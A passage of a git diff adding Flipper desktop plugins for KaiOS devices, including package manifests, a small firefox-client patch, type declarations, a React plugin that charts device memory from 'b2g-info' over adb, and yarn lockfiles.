rows={this.buildMemRows()}
|
||||
/>
|
||||
</Panel>
|
||||
</React.Fragment>
|
||||
);
|
||||
}
|
||||
}
|
||||
28
desktop/plugins/kaios-allocations/package.json
Normal file
28
desktop/plugins/kaios-allocations/package.json
Normal file
@@ -0,0 +1,28 @@
|
||||
{
|
||||
"name": "kaios-big-allocations",
|
||||
"version": "1.0.0",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"title": "KaiOS: big allocations",
|
||||
"icon": "apps",
|
||||
"bugs": {
|
||||
"email": "oncall+wa_kaios@xmail.facebook.com",
|
||||
"url": "https://fb.workplace.com/groups/wa.kaios/"
|
||||
},
|
||||
"scripts": {
|
||||
"postinstall": "patch-package"
|
||||
},
|
||||
"devDependencies": {
|
||||
"patch-package": "^6.2.0",
|
||||
"postinstall-postinstall": "^2.0.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"firefox-client": "0.3.0",
|
||||
"promisify-child-process": "^3.1.1"
|
||||
},
|
||||
"greenkeeper": {
|
||||
"ignore": [
|
||||
"firefox-client"
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
diff --git a/node_modules/firefox-client/lib/client.js b/node_modules/firefox-client/lib/client.js
|
||||
index 22b3179..11e8d7f 100644
|
||||
--- a/node_modules/firefox-client/lib/client.js
|
||||
+++ b/node_modules/firefox-client/lib/client.js
|
||||
@@ -2,8 +2,6 @@ var net = require("net"),
|
||||
events = require("events"),
|
||||
extend = require("./extend");
|
||||
|
||||
-var colors = require("colors");
|
||||
-
|
||||
module.exports = Client;
|
||||
|
||||
// this is very unfortunate! and temporary. we can't
|
||||
49
desktop/plugins/kaios-allocations/types/firefox-client.d.tsx
Normal file
49
desktop/plugins/kaios-allocations/types/firefox-client.d.tsx
Normal file
@@ -0,0 +1,49 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
declare module 'firefox-client' {
|
||||
export default class FirefoxClient {
|
||||
constructor(options: any);
|
||||
|
||||
connect(port: any, host: any, cb: any): void;
|
||||
|
||||
disconnect(): void;
|
||||
|
||||
getDevice(cb: any): any;
|
||||
|
||||
getRoot(cb: any): any;
|
||||
|
||||
getWebapps(cb: any): any;
|
||||
|
||||
listTabs(cb: any): any;
|
||||
|
||||
onEnd(): void;
|
||||
|
||||
onError(error: any): void;
|
||||
|
||||
onTimeout(): void;
|
||||
|
||||
selectedTab(cb: any): any;
|
||||
}
|
||||
}
|
||||
|
||||
declare module 'firefox-client/lib/client-methods' {
|
||||
import FirefoxClient from 'firefox-client';
|
||||
|
||||
export default class ClientMethods {
|
||||
initialize(client: FirefoxClient, actor: any): void;
|
||||
request(type: any, message: any, transform: any, callback: Function): void;
|
||||
}
|
||||
}
|
||||
|
||||
declare module 'firefox-client/lib/extend' {
|
||||
import FirefoxClient from 'firefox-client';
|
||||
|
||||
export default function extend(prototype: any, o: any): any;
|
||||
}
|
||||
1370
desktop/plugins/kaios-allocations/yarn.lock
Normal file
1370
desktop/plugins/kaios-allocations/yarn.lock
Normal file
File diff suppressed because it is too large
Load Diff
282
desktop/plugins/kaios-ram/index.tsx
Normal file
282
desktop/plugins/kaios-ram/index.tsx
Normal file
@@ -0,0 +1,282 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import React from 'react';
|
||||
|
||||
import {FlipperDevicePlugin, Device, KaiOSDevice, sleep} from 'flipper';
|
||||
|
||||
import {FlexColumn, Button, Toolbar, Panel} from 'flipper';
|
||||
|
||||
import {
|
||||
Legend,
|
||||
LineChart,
|
||||
Line,
|
||||
YAxis,
|
||||
XAxis,
|
||||
CartesianGrid,
|
||||
ResponsiveContainer,
|
||||
Tooltip,
|
||||
} from 'recharts';
|
||||
|
||||
import adb from 'adbkit';
|
||||
import {exec} from 'promisify-child-process';
|
||||
|
||||
const PALETTE = [
|
||||
'#FFD700',
|
||||
'#FF6347',
|
||||
'#8A2BE2',
|
||||
'#A52A2A',
|
||||
'#40E0D0',
|
||||
'#006400',
|
||||
'#ADFF2F',
|
||||
'#FF00FF',
|
||||
];
|
||||
|
||||
// For now, let's limit the number of points shown
|
||||
// The graph will automatically drop the oldest point if this number is reached
|
||||
const MAX_POINTS = 100;
|
||||
|
||||
// This is to have some consistency in the Y axis scale
|
||||
// Recharts should automatically adjust the axis if any data point gets above this value
|
||||
const Y_AXIS_EXPECTED_MAX_MEM = 200;
|
||||
|
||||
const EXCLUDE_PROCESS_NAME_SUBSTRINGS = [
|
||||
'(Nuwa)',
|
||||
'Launcher',
|
||||
'Built-in',
|
||||
'Jio',
|
||||
'(Preallocated',
|
||||
];
|
||||
|
||||
type DataPoint = {
|
||||
[key: string]: number;
|
||||
};
|
||||
|
||||
type Colors = {
|
||||
[key: string]: string;
|
||||
};
|
||||
|
||||
type State = {
|
||||
points: Array<DataPoint>;
|
||||
colors: Colors;
|
||||
monitoring: boolean;
|
||||
};
|
||||
|
||||
export default class KaiOSGraphs extends FlipperDevicePlugin<State, any, any> {
|
||||
state = {
|
||||
points: [],
|
||||
colors: {},
|
||||
monitoring: false,
|
||||
};
|
||||
|
||||
static supportsDevice(device: Device) {
|
||||
return device instanceof KaiOSDevice;
|
||||
}
|
||||
|
||||
async init() {
|
||||
try {
|
||||
await exec('adb root');
|
||||
} catch (e) {
|
||||
console.error('Error obtaining root on the device', e);
|
||||
}
|
||||
}
|
||||
|
||||
teardown() {
|
||||
this.onStopMonitor();
|
||||
}
|
||||
|
||||
onStartMonitor = () => {
|
||||
this.setState(
|
||||
{
|
||||
monitoring: true,
|
||||
},
|
||||
() => {
|
||||
// no await because monitoring runs in the background
|
||||
this.monitorInBackground();
|
||||
},
|
||||
);
|
||||
};
|
||||
|
||||
onStopMonitor = () => {
|
||||
this.setState({
|
||||
monitoring: false,
|
||||
});
|
||||
};
|
||||
|
||||
monitorInBackground = async () => {
|
||||
while (this.state.monitoring) {
|
||||
await this.updateFreeMem();
|
||||
await sleep(1000);
|
||||
}
|
||||
};
|
||||
|
||||
executeShell = (command: string) => {
|
||||
return (this.device as KaiOSDevice).adb
|
||||
.shell(this.device.serial, command)
|
||||
.then(adb.util.readAll)
|
||||
.then(output => {
|
||||
return output.toString().trim();
|
||||
});
|
||||
};
|
||||
|
||||
getMemory = () => {
|
||||
return this.executeShell('b2g-info').then(output => {
|
||||
const lines = output.split('\n').map(line => line.trim());
|
||||
let freeMem = null;
|
||||
for (const line of lines) {
|
||||
// TODO: regex validation
|
||||
if (line.startsWith('Free + cache')) {
|
||||
const fields = line.split(' ');
|
||||
const mem = fields[fields.length - 2];
|
||||
freeMem = parseFloat(mem);
|
||||
}
|
||||
}
|
||||
|
||||
const appInfoData: {[key: string]: number} = {};
|
||||
let appInfoSectionFieldsCount;
|
||||
const appInfoSectionFieldToIndex: {[key: string]: number} = {};
|
||||
for (const line of lines) {
|
||||
if (line.startsWith('System memory info:')) {
|
||||
// We're outside of the app info section
|
||||
// Reset the counter, since it is used for detecting if we need to parse
|
||||
// app memory usage data
|
||||
appInfoSectionFieldsCount = undefined;
|
||||
break;
|
||||
}
|
||||
if (!line) {
|
||||
continue;
|
||||
}
|
||||
if (appInfoSectionFieldsCount) {
|
||||
let fields = line.trim().split(/\s+/);
|
||||
// Assume that only name field can contain spaces
|
||||
const name = fields
|
||||
.slice(0, -appInfoSectionFieldsCount + 1)
|
||||
.join(' ');
|
||||
const restOfTheFields = fields.slice(-appInfoSectionFieldsCount + 1);
|
||||
fields = [name, ...restOfTheFields];
|
||||
if (
|
||||
EXCLUDE_PROCESS_NAME_SUBSTRINGS.some(excludeSubstr =>
|
||||
name.includes(excludeSubstr),
|
||||
)
|
||||
) {
|
||||
continue;
|
||||
}
|
||||
if (fields[1].match(/[^0-9]+/)) {
|
||||
// TODO: probably implement this through something other than b2g
|
||||
throw new Error('Support for names with spaces is not implemented');
|
||||
}
|
||||
|
||||
if (name !== 'b2g') {
|
||||
const ussString = fields[appInfoSectionFieldToIndex['USS']];
|
||||
const uss = ussString ? parseFloat(ussString) : -1;
|
||||
appInfoData[name + ' USS'] = uss;
|
||||
} else {
|
||||
const rssString = fields[appInfoSectionFieldToIndex['RSS']];
|
||||
const rss = rssString ? parseFloat(rssString) : -1;
|
||||
appInfoData[name + ' RSS'] = rss;
|
||||
}
|
||||
}
|
||||
if (line.startsWith('NAME')) {
|
||||
// We're in the app info section now
|
||||
const fields = line.trim().split(/\s+/);
|
||||
appInfoSectionFieldsCount = fields.length;
|
||||
for (let i = 0; i < fields.length; i++) {
|
||||
appInfoSectionFieldToIndex[fields[i]] = i;
|
||||
}
|
||||
}
|
||||
}
|
||||
return {'Total free': freeMem != null ? freeMem : -1, ...appInfoData};
|
||||
});
|
||||
};
|
||||
|
||||
getColors = (point: DataPoint) => {
|
||||
const oldColors = this.state.colors;
|
||||
let newColors: Colors | null = null;
|
||||
let newColorsCount = 0;
|
||||
const existingNames = Object.keys(oldColors);
|
||||
for (const name of Object.keys(point)) {
|
||||
if (!(name in oldColors)) {
|
||||
if (!newColors) {
|
||||
newColors = {...oldColors};
|
||||
}
|
||||
newColors[name] = PALETTE[existingNames.length + newColorsCount];
|
||||
newColorsCount++;
|
||||
}
|
||||
}
|
||||
|
||||
return newColors;
|
||||
};
|
||||
|
||||
updateFreeMem = () => {
|
||||
// This can be improved by using immutable.js
|
||||
// If more points are necessary
|
||||
return this.getMemory().then(point => {
|
||||
const points = [...this.state.points.slice(-MAX_POINTS + 1), point];
|
||||
const colors = this.getColors(point);
|
||||
let newState = {};
|
||||
if (colors) {
|
||||
newState = {colors, points};
|
||||
} else {
|
||||
newState = {points};
|
||||
}
|
||||
|
||||
this.setState(newState);
|
||||
});
|
||||
};
|
||||
|
||||
render() {
|
||||
const pointsToDraw = this.state.points.map((point, idx) => ({
|
||||
...(point as Object),
|
||||
idx,
|
||||
}));
|
||||
const colors: Colors = this.state.colors;
|
||||
|
||||
const names = Object.keys(colors);
|
||||
return (
|
||||
<Panel
|
||||
padded={false}
|
||||
heading="Free memory"
|
||||
floating={false}
|
||||
collapsable={false}
|
||||
grow={true}>
|
||||
<Toolbar position="top">
|
||||
{this.state.monitoring ? (
|
||||
<Button onClick={this.onStopMonitor} icon="pause">
|
||||
Pause
|
||||
</Button>
|
||||
) : (
|
||||
<Button onClick={this.onStartMonitor} icon="play">
|
||||
Start
|
||||
</Button>
|
||||
)}
|
||||
</Toolbar>
|
||||
<FlexColumn grow={true}>
|
||||
<ResponsiveContainer height={500}>
|
||||
<LineChart data={pointsToDraw}>
|
||||
<XAxis type="number" domain={[0, MAX_POINTS]} dataKey="idx" />
|
||||
<YAxis type="number" domain={[0, Y_AXIS_EXPECTED_MAX_MEM]} />
|
||||
{names.map(name => (
|
||||
<Line
|
||||
key={`line-${name}`}
|
||||
type="linear"
|
||||
dataKey={name}
|
||||
stroke={colors[name]}
|
||||
isAnimationActive={false}
|
||||
/>
|
||||
))}
|
||||
<Tooltip />
|
||||
<Legend verticalAlign="bottom" height={36} />
|
||||
<CartesianGrid stroke="#eee" strokeDasharray="5 5" />
|
||||
</LineChart>
|
||||
</ResponsiveContainer>
|
||||
</FlexColumn>
|
||||
</Panel>
|
||||
);
|
||||
}
|
||||
}
|
||||
22
desktop/plugins/kaios-ram/package.json
Normal file
22
desktop/plugins/kaios-ram/package.json
Normal file
@@ -0,0 +1,22 @@
|
||||
{
|
||||
"name": "kaios-graphs",
|
||||
"version": "1.0.0",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"title": "KaiOS RAM graph",
|
||||
"icon": "apps",
|
||||
"bugs": {
|
||||
"email": "oncall+wa_kaios@xmail.facebook.com",
|
||||
"url": "https://fb.workplace.com/groups/wa.kaios/"
|
||||
},
|
||||
"dependencies": {
|
||||
"promisify-child-process": "^3.1.3",
|
||||
"recharts": "1.7.1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/recharts": "1.8.6"
|
||||
},
|
||||
"resolutions": {
|
||||
"@types/react": "16.9.17"
|
||||
}
|
||||
}
|
||||
306
desktop/plugins/kaios-ram/yarn.lock
Normal file
306
desktop/plugins/kaios-ram/yarn.lock
Normal file
@@ -0,0 +1,306 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
"@babel/runtime@^7.1.2":
|
||||
version "7.5.5"
|
||||
resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.5.5.tgz#74fba56d35efbeca444091c7850ccd494fd2f132"
|
||||
integrity sha512-28QvEGyQyNkB0/m2B4FU7IEZGK2NUrcMtT6BZEFALTguLk+AUT6ofsHtPk5QyjAdUkpMJ+/Em+quwz4HOt30AQ==
|
||||
dependencies:
|
||||
regenerator-runtime "^0.13.2"
|
||||
|
||||
"@babel/runtime@^7.1.5":
|
||||
version "7.7.7"
|
||||
resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.7.7.tgz#194769ca8d6d7790ec23605af9ee3e42a0aa79cf"
|
||||
integrity sha512-uCnC2JEVAu8AKB5do1WRIsvrdJ0flYx/A/9f/6chdacnEZ7LmavjdsDXr5ksYBegxtuTPR5Va9/+13QF/kFkCA==
|
||||
dependencies:
|
||||
regenerator-runtime "^0.13.2"
|
||||
|
||||
"@types/d3-path@*":
|
||||
version "1.0.8"
|
||||
resolved "https://registry.yarnpkg.com/@types/d3-path/-/d3-path-1.0.8.tgz#48e6945a8ff43ee0a1ce85c8cfa2337de85c7c79"
|
||||
integrity sha512-AZGHWslq/oApTAHu9+yH/Bnk63y9oFOMROtqPAtxl5uB6qm1x2lueWdVEjsjjV3Qc2+QfuzKIwIR5MvVBakfzA==
|
||||
|
||||
"@types/d3-shape@*":
|
||||
version "1.3.2"
|
||||
resolved "https://registry.yarnpkg.com/@types/d3-shape/-/d3-shape-1.3.2.tgz#a41d9d6b10d02e221696b240caf0b5d0f5a588ec"
|
||||
integrity sha512-LtD8EaNYCaBRzHzaAiIPrfcL3DdIysc81dkGlQvv7WQP3+YXV7b0JJTtR1U3bzeRieS603KF4wUo+ZkJVenh8w==
|
||||
dependencies:
|
||||
"@types/d3-path" "*"
|
||||
|
||||
"@types/prop-types@*":
|
||||
version "15.7.3"
|
||||
resolved "https://registry.yarnpkg.com/@types/prop-types/-/prop-types-15.7.3.tgz#2ab0d5da2e5815f94b0b9d4b95d1e5f243ab2ca7"
|
||||
integrity sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw==
|
||||
|
||||
"@types/react@*", "@types/react@16.9.17":
|
||||
version "16.9.17"
|
||||
resolved "https://registry.yarnpkg.com/@types/react/-/react-16.9.17.tgz#58f0cc0e9ec2425d1441dd7b623421a867aa253e"
|
||||
integrity sha512-UP27In4fp4sWF5JgyV6pwVPAQM83Fj76JOcg02X5BZcpSu5Wx+fP9RMqc2v0ssBoQIFvD5JdKY41gjJJKmw6Bg==
|
||||
dependencies:
|
||||
"@types/prop-types" "*"
|
||||
csstype "^2.2.0"
|
||||
|
||||
"@types/recharts-scale@*":
|
||||
version "1.0.0"
|
||||
resolved "https://registry.yarnpkg.com/@types/recharts-scale/-/recharts-scale-1.0.0.tgz#348c9220d6d9062c44a9d585d686644a97f7e25d"
|
||||
integrity sha512-HR/PrCcxYb2YHviTqH7CMdL1TUhUZLTUKzfrkMhxm1HTa5mg/QtP8XMiuSPz6dZ6wecazAOu8aYZ5DqkNlgHHQ==
|
||||
|
||||
"@types/recharts@1.8.6":
|
||||
version "1.8.6"
|
||||
resolved "https://registry.yarnpkg.com/@types/recharts/-/recharts-1.8.6.tgz#1368e174a21e6b12d1344dba0ae0eea68f8706f0"
|
||||
integrity sha512-UnuLpnXbpyLzxYJ6PuRMBR6K7X0Ih60M/PVaUwT6jtvJXqlVEmU5ABx0etgzG2DkOnYhpHvD9tjOjyrdUKrUPQ==
|
||||
dependencies:
|
||||
"@types/d3-shape" "*"
|
||||
"@types/react" "*"
|
||||
"@types/recharts-scale" "*"
|
||||
|
||||
balanced-match@^0.4.2:
|
||||
version "0.4.2"
|
||||
resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-0.4.2.tgz#cb3f3e3c732dc0f01ee70b403f302e61d7709838"
|
||||
integrity sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=
|
||||
|
||||
classnames@^2.2.5:
|
||||
version "2.2.6"
|
||||
resolved "https://registry.yarnpkg.com/classnames/-/classnames-2.2.6.tgz#43935bffdd291f326dad0a205309b38d00f650ce"
|
||||
integrity sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q==
|
||||
|
||||
core-js@^2.5.1:
|
||||
version "2.6.9"
|
||||
resolved "https://registry.yarnpkg.com/core-js/-/core-js-2.6.9.tgz#6b4b214620c834152e179323727fc19741b084f2"
|
||||
integrity sha512-HOpZf6eXmnl7la+cUdMnLvUxKNqLUzJvgIziQ0DiF3JwSImNphIqdGqzj6hIKyX04MmV0poclQ7+wjWvxQyR2A==
|
||||
|
||||
csstype@^2.2.0:
|
||||
version "2.6.7"
|
||||
resolved "https://registry.yarnpkg.com/csstype/-/csstype-2.6.7.tgz#20b0024c20b6718f4eda3853a1f5a1cce7f5e4a5"
|
||||
integrity sha512-9Mcn9sFbGBAdmimWb2gLVDtFJzeKtDGIr76TUqmjZrw9LFXBMSU70lcs+C0/7fyCd6iBDqmksUcCOUIkisPHsQ==
|
||||
|
||||
d3-array@^1.2.0:
|
||||
version "1.2.4"
|
||||
resolved "https://registry.yarnpkg.com/d3-array/-/d3-array-1.2.4.tgz#635ce4d5eea759f6f605863dbcfc30edc737f71f"
|
||||
integrity sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw==
|
||||
|
||||
d3-collection@1:
|
||||
version "1.0.7"
|
||||
resolved "https://registry.yarnpkg.com/d3-collection/-/d3-collection-1.0.7.tgz#349bd2aa9977db071091c13144d5e4f16b5b310e"
|
||||
integrity sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A==
|
||||
|
||||
d3-color@1:
|
||||
version "1.3.0"
|
||||
resolved "https://registry.yarnpkg.com/d3-color/-/d3-color-1.3.0.tgz#675818359074215b020dc1d41d518136dcb18fa9"
|
||||
integrity sha512-NHODMBlj59xPAwl2BDiO2Mog6V+PrGRtBfWKqKRrs9MCqlSkIEb0Z/SfY7jW29ReHTDC/j+vwXhnZcXI3+3fbg==
|
||||
|
||||
d3-format@1:
|
||||
version "1.3.2"
|
||||
resolved "https://registry.yarnpkg.com/d3-format/-/d3-format-1.3.2.tgz#6a96b5e31bcb98122a30863f7d92365c00603562"
|
||||
integrity sha512-Z18Dprj96ExragQ0DeGi+SYPQ7pPfRMtUXtsg/ChVIKNBCzjO8XYJvRTC1usblx52lqge56V5ect+frYTQc8WQ==
|
||||
|
||||
d3-interpolate@1, d3-interpolate@^1.3.0:
|
||||
version "1.3.2"
|
||||
resolved "https://registry.yarnpkg.com/d3-interpolate/-/d3-interpolate-1.3.2.tgz#417d3ebdeb4bc4efcc8fd4361c55e4040211fd68"
|
||||
integrity sha512-NlNKGopqaz9qM1PXh9gBF1KSCVh+jSFErrSlD/4hybwoNX/gt1d8CDbDW+3i+5UOHhjC6s6nMvRxcuoMVNgL2w==
|
||||
dependencies:
|
||||
d3-color "1"
|
||||
|
||||
d3-path@1:
|
||||
version "1.0.8"
|
||||
resolved "https://registry.yarnpkg.com/d3-path/-/d3-path-1.0.8.tgz#4a0606a794d104513ec4a8af43525f374b278719"
|
||||
integrity sha512-J6EfUNwcMQ+aM5YPOB8ZbgAZu6wc82f/0WFxrxwV6Ll8wBwLaHLKCqQ5Imub02JriCVVdPjgI+6P3a4EWJCxAg==
|
||||
|
||||
d3-scale@^2.1.0:
|
||||
version "2.2.2"
|
||||
resolved "https://registry.yarnpkg.com/d3-scale/-/d3-scale-2.2.2.tgz#4e880e0b2745acaaddd3ede26a9e908a9e17b81f"
|
||||
integrity sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==
|
||||
dependencies:
|
||||
d3-array "^1.2.0"
|
||||
d3-collection "1"
|
||||
d3-format "1"
|
||||
d3-interpolate "1"
|
||||
d3-time "1"
|
||||
d3-time-format "2"
|
||||
|
||||
d3-shape@^1.2.0:
|
||||
version "1.3.5"
|
||||
resolved "https://registry.yarnpkg.com/d3-shape/-/d3-shape-1.3.5.tgz#e81aea5940f59f0a79cfccac012232a8987c6033"
|
||||
integrity sha512-VKazVR3phgD+MUCldapHD7P9kcrvPcexeX/PkMJmkUov4JM8IxsSg1DvbYoYich9AtdTsa5nNk2++ImPiDiSxg==
|
||||
dependencies:
|
||||
d3-path "1"
|
||||
|
||||
d3-time-format@2:
|
||||
version "2.1.3"
|
||||
resolved "https://registry.yarnpkg.com/d3-time-format/-/d3-time-format-2.1.3.tgz#ae06f8e0126a9d60d6364eac5b1533ae1bac826b"
|
||||
integrity sha512-6k0a2rZryzGm5Ihx+aFMuO1GgelgIz+7HhB4PH4OEndD5q2zGn1mDfRdNrulspOfR6JXkb2sThhDK41CSK85QA==
|
||||
dependencies:
|
||||
d3-time "1"
|
||||
|
||||
d3-time@1:
|
||||
version "1.0.11"
|
||||
resolved "https://registry.yarnpkg.com/d3-time/-/d3-time-1.0.11.tgz#1d831a3e25cd189eb256c17770a666368762bbce"
|
||||
integrity sha512-Z3wpvhPLW4vEScGeIMUckDW7+3hWKOQfAWg/U7PlWBnQmeKQ00gCUsTtWSYulrKNA7ta8hJ+xXc6MHrMuITwEw==
|
||||
|
||||
decimal.js-light@^2.4.1:
|
||||
version "2.5.0"
|
||||
resolved "https://registry.yarnpkg.com/decimal.js-light/-/decimal.js-light-2.5.0.tgz#ca7faf504c799326df94b0ab920424fdfc125348"
|
||||
integrity sha512-b3VJCbd2hwUpeRGG3Toob+CRo8W22xplipNhP3tN7TSVB/cyMX71P1vM2Xjc9H74uV6dS2hDDmo/rHq8L87Upg==
|
||||
|
||||
dom-helpers@^3.4.0:
|
||||
version "3.4.0"
|
||||
resolved "https://registry.yarnpkg.com/dom-helpers/-/dom-helpers-3.4.0.tgz#e9b369700f959f62ecde5a6babde4bccd9169af8"
|
||||
integrity sha512-LnuPJ+dwqKDIyotW1VzmOZ5TONUN7CwkCR5hrgawTUbkBGYdeoNLZo6nNfGkCrjtE1nXXaj7iMMpDa8/d9WoIA==
|
||||
dependencies:
|
||||
"@babel/runtime" "^7.1.2"
|
||||
|
||||
"js-tokens@^3.0.0 || ^4.0.0":
|
||||
version "4.0.0"
|
||||
resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
|
||||
integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
|
||||
|
||||
lodash.debounce@^4.0.8:
|
||||
version "4.0.8"
|
||||
resolved "https://registry.yarnpkg.com/lodash.debounce/-/lodash.debounce-4.0.8.tgz#82d79bff30a67c4005ffd5e2515300ad9ca4d7af"
|
||||
integrity sha1-gteb/zCmfEAF/9XiUVMArZyk168=
|
||||
|
||||
lodash.throttle@^4.1.1:
|
||||
version "4.1.1"
|
||||
resolved "https://registry.yarnpkg.com/lodash.throttle/-/lodash.throttle-4.1.1.tgz#c23e91b710242ac70c37f1e1cda9274cc39bf2f4"
|
||||
integrity sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ=
|
||||
|
||||
lodash@^4.17.5, lodash@~4.17.4:
|
||||
version "4.17.15"
|
||||
resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.15.tgz#b447f6670a0455bbfeedd11392eff330ea097548"
|
||||
integrity sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==
|
||||
|
||||
loose-envify@^1.4.0:
|
||||
version "1.4.0"
|
||||
resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf"
|
||||
integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==
|
||||
dependencies:
|
||||
js-tokens "^3.0.0 || ^4.0.0"
|
||||
|
||||
math-expression-evaluator@^1.2.14:
|
||||
version "1.2.17"
|
||||
resolved "https://registry.yarnpkg.com/math-expression-evaluator/-/math-expression-evaluator-1.2.17.tgz#de819fdbcd84dccd8fae59c6aeb79615b9d266ac"
|
||||
integrity sha1-3oGf282E3M2PrlnGrreWFbnSZqw=
|
||||
|
||||
object-assign@^4.1.1:
|
||||
version "4.1.1"
|
||||
resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
|
||||
integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=
|
||||
|
||||
performance-now@^2.1.0:
|
||||
version "2.1.0"
|
||||
resolved "https://registry.yarnpkg.com/performance-now/-/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b"
|
||||
integrity sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=
|
||||
|
||||
promisify-child-process@^3.1.3:
|
||||
version "3.1.3"
|
||||
resolved "https://registry.yarnpkg.com/promisify-child-process/-/promisify-child-process-3.1.3.tgz#52a3b66638ae101fa2e68f9a2cbd101846042e33"
|
||||
integrity sha512-qVox3vW2hqbktVw+IN7YZ/kgGA+u426ekmiZxiofNe9O4GSewjROwRQ4MQ6IbvhpeYSLqiLS0kMn+FWCz6ENlg==
|
||||
dependencies:
|
||||
"@babel/runtime" "^7.1.5"
|
||||
|
||||
prop-types@^15.6.0, prop-types@^15.6.2:
|
||||
version "15.7.2"
|
||||
resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.7.2.tgz#52c41e75b8c87e72b9d9360e0206b99dcbffa6c5"
|
||||
integrity sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==
|
||||
dependencies:
|
||||
loose-envify "^1.4.0"
|
||||
object-assign "^4.1.1"
|
||||
react-is "^16.8.1"
|
||||
|
||||
raf@^3.4.0:
|
||||
version "3.4.1"
|
||||
resolved "https://registry.yarnpkg.com/raf/-/raf-3.4.1.tgz#0742e99a4a6552f445d73e3ee0328af0ff1ede39"
|
||||
integrity sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==
|
||||
dependencies:
|
||||
performance-now "^2.1.0"
|
||||
|
||||
react-is@^16.8.1:
|
||||
version "16.9.0"
|
||||
resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.9.0.tgz#21ca9561399aad0ff1a7701c01683e8ca981edcb"
|
||||
integrity sha512-tJBzzzIgnnRfEm046qRcURvwQnZVXmuCbscxUO5RWrGTXpon2d4c8mI0D8WE6ydVIm29JiLB6+RslkIvym9Rjw==
|
||||
|
||||
react-lifecycles-compat@^3.0.4:
|
||||
version "3.0.4"
|
||||
resolved "https://registry.yarnpkg.com/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz#4f1a273afdfc8f3488a8c516bfda78f872352362"
|
||||
integrity sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==
|
||||
|
||||
react-resize-detector@^2.3.0:
|
||||
version "2.3.0"
|
||||
resolved "https://registry.yarnpkg.com/react-resize-detector/-/react-resize-detector-2.3.0.tgz#57bad1ae26a28a62a2ddb678ba6ffdf8fa2b599c"
|
||||
integrity sha512-oCAddEWWeFWYH5FAcHdBYcZjAw9fMzRUK9sWSx6WvSSOPVRxcHd5zTIGy/mOus+AhN/u6T4TMiWxvq79PywnJQ==
|
||||
dependencies:
|
||||
lodash.debounce "^4.0.8"
|
||||
lodash.throttle "^4.1.1"
|
||||
prop-types "^15.6.0"
|
||||
resize-observer-polyfill "^1.5.0"
|
||||
|
||||
react-smooth@^1.0.0:
|
||||
version "1.0.2"
|
||||
resolved "https://registry.yarnpkg.com/react-smooth/-/react-smooth-1.0.2.tgz#f7a2d932ece8db898646078c3c97f3e9533e0486"
|
||||
integrity sha512-pIGzL1g9VGAsRsdZQokIK0vrCkcdKtnOnS1gyB2rrowdLy69lNSWoIjCTWAfgbiYvria8tm5hEZqj+jwXMkV4A==
|
||||
dependencies:
|
||||
lodash "~4.17.4"
|
||||
prop-types "^15.6.0"
|
||||
